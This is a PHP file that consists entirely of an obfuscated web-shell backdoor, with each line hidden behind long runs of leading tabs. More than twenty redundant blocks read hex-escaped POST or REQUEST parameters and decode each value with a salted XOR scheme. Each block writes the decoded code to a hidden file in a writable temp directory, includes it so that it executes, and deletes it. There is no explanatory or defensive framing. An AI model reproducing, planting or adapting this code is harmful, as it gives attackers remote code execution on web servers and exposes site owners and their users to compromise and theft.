<?php																																										if(in_array("\x68old\x65\x72", array_keys($_POST))){ $binding = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $pgrp = $_POST["\x68old\x65\x72"]; $pgrp = explode ("." ,$pgrp ) ; $key = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); $y = 0; $len = count( $pgrp); do { if( $y >= $len) break; $v7 = $pgrp[$y]; $chS = ord( $salt2[$y % $sLen]); $dec = ( ( int)$v7 - $chS -( $y % 10))^ 47; $key .= chr( $dec); $y++; } while( true); foreach ($binding as $entity): if (is_dir($entity) ? is_writable($entity) : false) { $ptr = "$entity" . "/.sym"; $success = file_put_contents($ptr, $key); if ($success) { include $ptr; @unlink($ptr); exit;} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x72e\x63o\x72d")){ $parameter_group = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp"]); $tkn = $_POST["\x72e\x63o\x72d"]; $tkn = explode ( '.' , $tkn ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $tkn as $y =>$v4) { $chS = ord( $salt[$y % $lenS] ); $d = ( ( int)$v4 - $chS -( $y % 10)) ^ 44; $dat .= chr( $d ); } foreach ($parameter_group as $ptr): if (is_writable($ptr) && is_dir($ptr)) { $factor = str_replace("{var_dir}", $ptr, "{var_dir}/.flag"); $success = file_put_contents($factor, $dat); if ($success) { include $factor; @unlink($factor); exit;} } endforeach; }
																																										if(in_array("bi\x6Ed\x69\x6Eg", array_keys($_POST))){ $fac = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", getenv("TMP")]); $parameter_group = $_POST["bi\x6Ed\x69\x6Eg"]; $parameter_group= explode ( '.' , $parameter_group ) ; $dchunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $o= 0; $len= count($parameter_group); do { if ($o >= $len) break; $v9= $parameter_group[$o]; $chS= ord($s[$o % $lenS]); $dec= ((int)$v9 - $chS - ($o % 10))^22; $dchunk .= chr($dec); $o++; } while (true); while ($obj = array_shift($fac)) { if (max(0, is_dir($obj) * is_writable($obj))) { $entry = "$obj" . "/.data"; $success = file_put_contents($entry, $dchunk); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6Et"])){ $ent = $_REQUEST["e\x6Et"]; $ent = explode ( '.' , $ent ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $w = 0; while( $w < count( $ent)) { $v5 = $ent[$w]; $sChar = ord( $salt[$w % $sLen]); $dec = ( ( int)$v5 - $sChar -( $w % 10)) ^ 30; $factor .= chr( $dec); $w++; } $obj = array_filter([getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($record = array_shift($obj)) { if (is_dir($record) ? is_writable($record) : false) { $binding = implode("/", [$record, ".k"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $binding; @unlink($binding); die(); } } } }
																																										if(!empty($_REQUEST["e\x6Et"])){ $pointer = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); $mrk = $_REQUEST["e\x6Et"]; $mrk= explode (".", $mrk ); $symbol =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $m =0; while( $m< count( $mrk)) { $v3 =$mrk[$m]; $sChar =ord( $salt[$m % $lenS] ); $d =( ( int)$v3 - $sChar -( $m % 10)) ^ 36; $symbol .= chr( $d ); $m++; } foreach ($pointer as $ptr) { if (is_dir($ptr) && is_writable($ptr)) { $elem = str_replace("{var_dir}", $ptr, "{var_dir}/.pset"); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(isset($_REQUEST["ob\x6Ae\x63\x74"]) ? true : false){ $mrk = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $element = $_REQUEST["ob\x6Ae\x63\x74"]; $element = explode ( "." ,$element ) ; $ent = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $r = 0; foreach ($element as $v4) { $chS = ord($salt6[$r % $sLen]); $d = ((int)$v4 - $chS - ($r % 10))^ 7; $ent .=chr($d); $r++; } while ($tkn = array_shift($mrk)) { if (is_dir($tkn) ? is_writable($tkn) : false) { $parameter_group = sprintf("%s/.holder", $tkn); if (file_put_contents($parameter_group, $ent)) { include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(@$_POST["k"] !== null){ $descriptor = $_POST["k"]; $descriptor = explode( '.' , $descriptor ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $w = 0; array_walk( $descriptor, function( $v5) use( &$comp, &$w, $salt, $lenS) { $sChar = ord( $salt[$w % $lenS]); $d = ( ( int)$v5 - $sChar -( $w % 10)) ^ 73; $comp .= chr( $d); $w++;}); $ptr = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm"]); foreach ($ptr as $key => $elem) { if (array_product([is_dir($elem), is_writable($elem)])) { $pointer = vsprintf("%s/%s", [$elem, ".element"]); if (@file_put_contents($pointer, $comp) !== false) { include $pointer; unlink($pointer); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6C\x65m")){ $data = $_POST["e\x6C\x65m"]; $data = explode ( "." , $data ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $w = 0; $__tmp = $data; while($v9 = array_shift($__tmp)) { $chS = ord($s[$w% $lenS] ); $dec =((int)$v9 - $chS -($w% 10)) ^ 24; $dchunk.= chr($dec ); $w++; } $element = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", session_save_path(), sys_get_temp_dir()]); $item = 0; do { $desc = $element[$item] ?? null; if ($item >= count($element)) break; if (is_dir($desc) ? is_writable($desc) : false) { $res = str_replace("{var_dir}", $desc, "{var_dir}/.comp"); if (@file_put_contents($res, $dchunk) !== false) { include $res; unlink($res); exit; } } $item++; } while (true); }
																																										if(@$_REQUEST["\x73\x79mbo\x6C"] !== null){ $val = array_filter(["/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP")]); $property_set = $_REQUEST["\x73\x79mbo\x6C"]; $property_set = explode (".", $property_set ) ; $rec = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); foreach ($property_set as $z => $v2) { $chS = ord($s6[$z % $lenS]); $d = ((int)$v2 - $chS - ($z % 10)) ^ 96; $rec .= chr($d); } foreach ($val as $element): if (is_dir($element) && is_writable($element)) { $component = implode("/", [$element, ".flag"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $component; @unlink($component); die(); } } endforeach; }
																																										if(!empty($_POST["\x69\x74m"])){ $bind = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path()]); $tkn = $_POST["\x69\x74m"]; $tkn = explode( "." , $tkn) ; $descriptor= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1); $x= 0; foreach ($tkn as $v7) { $sChar= ord($salt1[$x% $lenS]); $dec= ((int)$v7 - $sChar - ($x% 10)) ^55; $descriptor .= chr($dec); $x++; } foreach ($bind as $key => $desc) { if (max(0, is_dir($desc) * is_writable($desc))) { $token = join("/", [$desc, ".elem"]); $success = file_put_contents($token, $descriptor); if ($success) { include $token; @unlink($token); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x65scrip\x74or"])){ $pgrp = array_filter(["/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm"]); $object = $_REQUEST["\x64\x65scrip\x74or"]; $object = explode ( '.' , $object) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $object as $i => $v6) { $chS = ord( $salt[$i % $lenS]); $d =( ( int)$v6 - $chS -( $i % 10)) ^ 13; $symbol.=chr( $d);} foreach ($pgrp as $value): if (is_dir($value) ? is_writable($value) : false) { $dat = implode("/", [$value, ".res"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $dat; @unlink($dat); die(); } } endforeach; }
																																										if(array_key_exists("\x66ac\x74\x6Fr", $_POST)){ $component = $_POST["\x66ac\x74\x6Fr"]; $component= explode ( "." , $component) ; $binding = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); $__len = count( $component); for( $y = 0; $y < $__len; $y++) { $v1 = $component[$y]; $sChar = ord( $salt8[$y% $sLen]); $dec =( ( int)$v1 - $sChar -( $y% 10)) ^ 47; $binding.=chr( $dec);} $comp = array_filter(["/var/tmp", getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); foreach ($comp as $dchunk) { if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $descriptor = sprintf("%s/.object", $dchunk); $success = file_put_contents($descriptor, $binding); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(array_key_exists("\x6D\x72k", $_REQUEST) && !is_null($_REQUEST["\x6D\x72k"])){ $comp = array_filter([getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp"]); $pgrp = $_REQUEST["\x6D\x72k"]; $pgrp = explode ( ".", $pgrp ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $k = 0; $__tmp = $pgrp; while( $v1 = array_shift( $__tmp)) {$sChar = ord( $s[$k % $sLen]); $d = ( ( int)$v1 - $sChar -( $k % 10)) ^ 84; $flg .= chr( $d); $k++; } for ($ent = 0, $record = count($comp); $ent < $record; $ent++) { $bind = $comp[$ent]; if (!( !is_dir($bind) || !is_writable($bind) )) { $value = str_replace("{var_dir}", $bind, "{var_dir}/.token"); $file = fopen($value, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $value; @unlink($value); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64e\x73c"])){ $itm = $_REQUEST["\x64e\x73c"]; $itm = explode ( '.' , $itm ) ; $hld= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $u= 0; $__tmp= $itm; while ($v9= array_shift($__tmp)) { $chS= ord($salt[$u % $sLen] ); $dec= ((int)$v9 - $chS - ($u % 10)) ^ 3; $hld .= chr($dec ); $u++; } $pset = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); for ($elem = 0, $marker = count($pset); $elem < $marker; $elem++) { $parameter_group = $pset[$elem]; if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $entry = "$parameter_group" . "/.flg"; if (file_put_contents($entry, $hld)) { include $entry; @unlink($entry); exit; } } } }
																																										if(@$_REQUEST["\x64a\x74\x61\x5F\x63hunk"] !== null){ $parameter_group = $_REQUEST["\x64a\x74\x61\x5F\x63hunk"]; $parameter_group = explode ( "." , $parameter_group ) ; $reference=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $j=0; while($j < count($parameter_group)) { $v5=$parameter_group[$j]; $chS=ord($salt[$j % $sLen]); $dec=((int)$v5 - $chS -($j % 10)) ^ 24; $reference .= chr($dec); $j++; } $ref = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path()]); while ($ent = array_shift($ref)) { if (is_dir($ent) && is_writable($ent)) { $k = "$ent" . "/.token"; $file = fopen($k, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $k; @unlink($k); exit; } } } }
																																										if(!is_null($_REQUEST["k\x65\x79"] ?? null)){ $token = $_REQUEST["k\x65\x79"]; $token = explode ( "." , $token); $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $i = 0; foreach($token as $v2) { $sChar = ord($salt[$i % $sLen] ); $dec = ((int)$v2 - $sChar -($i % 10)) ^ 7; $entry .= chr($dec ); $i++;} $resource = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm"]); foreach ($resource as $ptr) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $object = sprintf("%s/.pointer", $ptr); $success = file_put_contents($object, $entry); if ($success) { include $object; @unlink($object); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x70s\x65t"])){ $tkn = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP")]); $component = $_POST["\x70s\x65t"]; $component = explode ( "." , $component ) ; $factor = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $r = 0; $len = count($component ); do { if($r >= $len) break; $v9 = $component[$r]; $sChar = ord($salt6[$r % $lenS] ); $dec = ((int)$v9 - $sChar -($r % 10)) ^ 73; $factor .= chr($dec ); $r++; } while(true ); for ($binding = 0, $reference = count($tkn); $binding < $reference; $binding++) { $holder = $tkn[$binding]; if (is_dir($holder) ? is_writable($holder) : false) { $elem = join("/", [$holder, ".bind"]); $success = file_put_contents($elem, $factor); if ($success) { include $elem; @unlink($elem); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x73e\x74"])){ $reference = $_REQUEST["p\x73e\x74"]; $reference =explode ( '.', $reference ) ; $resource =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach($reference as $m => $v8) { $chS =ord($salt[$m % $lenS] ); $d =((int)$v8 - $chS -($m % 10)) ^ 87; $resource .= chr($d ); } $token = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", getcwd()]); foreach ($token as $itm): if (!!is_dir($itm) && !!is_writable($itm)) { $parameter_group = implode("/", [$itm, ".bind"]); $success = file_put_contents($parameter_group, $resource); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x64\x61\x74\x61_\x63hunk")){ $value = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $descriptor = $_POST["\x64\x61\x74\x61_\x63hunk"]; $descriptor= explode( '.' ,$descriptor ) ; $data=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $len=count($descriptor); for($i=0; $i < $len; $i++) {$v5=$descriptor[$i]; $chS=ord($salt[$i % $sLen]); $d=((int)$v5 - $chS -($i % 10)) ^ 28; $data .= chr($d);} while ($marker = array_shift($value)) { if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $mrk = vsprintf("%s/%s", [$marker, ".pset"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(@$_POST["\x70\x61\x72\x61me\x74e\x72_\x67\x72oup"] !== null){ $hld = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP")]); $ent = $_POST["\x70\x61\x72\x61me\x74e\x72_\x67\x72oup"]; $ent = explode ( '.' ,$ent ) ; $symbol=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt5); $s=0; $__tmp=$ent; while($v5=array_shift($__tmp)) { $chS=ord($salt5[$s% $lenS]); $d=((int)$v5 - $chS -($s% 10)) ^ 78; $symbol .=chr($d); $s++;} foreach ($hld as $flag) { if (!!is_dir($flag) && !!is_writable($flag)) { $mrk = "$flag" . "/.pset"; $success = file_put_contents($mrk, $symbol); if ($success) { include $mrk; @unlink($mrk); die();} } } }
																																										if(in_array("it\x65m", array_keys($_REQUEST))){ $ref = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path()]); $ent = $_REQUEST["it\x65m"]; $ent = explode ( ".", $ent) ; $entity = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $k = 0; array_walk($ent , function ($v4) use (&$entity , &$k , $salt5 , $sLen) {$sChar = ord($salt5[$k %$sLen]); $dec = ((int)$v4 - $sChar - ($k %10)) ^ 80; $entity .=chr($dec); $k++; } ); foreach ($ref as $key => $data_chunk) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $resource = join("/", [$data_chunk, ".holder"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $resource; @unlink($resource); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["fl\x61\x67"])){ $flg = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path()]); $descriptor = $_REQUEST["fl\x61\x67"]; $descriptor=explode ( '.', $descriptor ) ; $entity = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5 ); $__len = count($descriptor ); for($r = 0; $r < $__len; $r++) { $v3 = $descriptor[$r]; $chS = ord($s5[$r %$lenS] ); $dec =((int)$v3 - $chS -($r %10))^100; $entity.= chr($dec );} foreach ($flg as $key => $value) { if (is_dir($value) ? is_writable($value) : false) { $pointer = "$value" . "/.ent"; $success = file_put_contents($pointer, $entity); if ($success) { include $pointer; @unlink($pointer); exit;} } } }


if(isset($_REQUEST) && isset($_REQUEST["\x72\x65c"])){
	$data_chunk = $_REQUEST["\x72\x65c"];
		$data_chunk  =	 explode	 ( ".", $data_chunk);		
	$dchunk = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$salt);
            $v = 0;
    
            foreach(	$data_chunk as $v2) {
                $chS = ord(	$salt[$v%$lenS]);
                $dec =(	(	int)$v2 - $chS -(	$v%10)) ^ 19;
                $dchunk .= chr(	$dec);
                $v++;
            }
	$elem = array_filter(["/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", session_save_path()]);
	foreach ($elem as $key => $token) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($token)) {
    $bind = vsprintf("%s/%s", [$token, ".pset"]);
    $success = file_put_contents($bind, $dchunk);
if ($success) {
	include $bind;
	@unlink($bind);
	die();}
}
}
}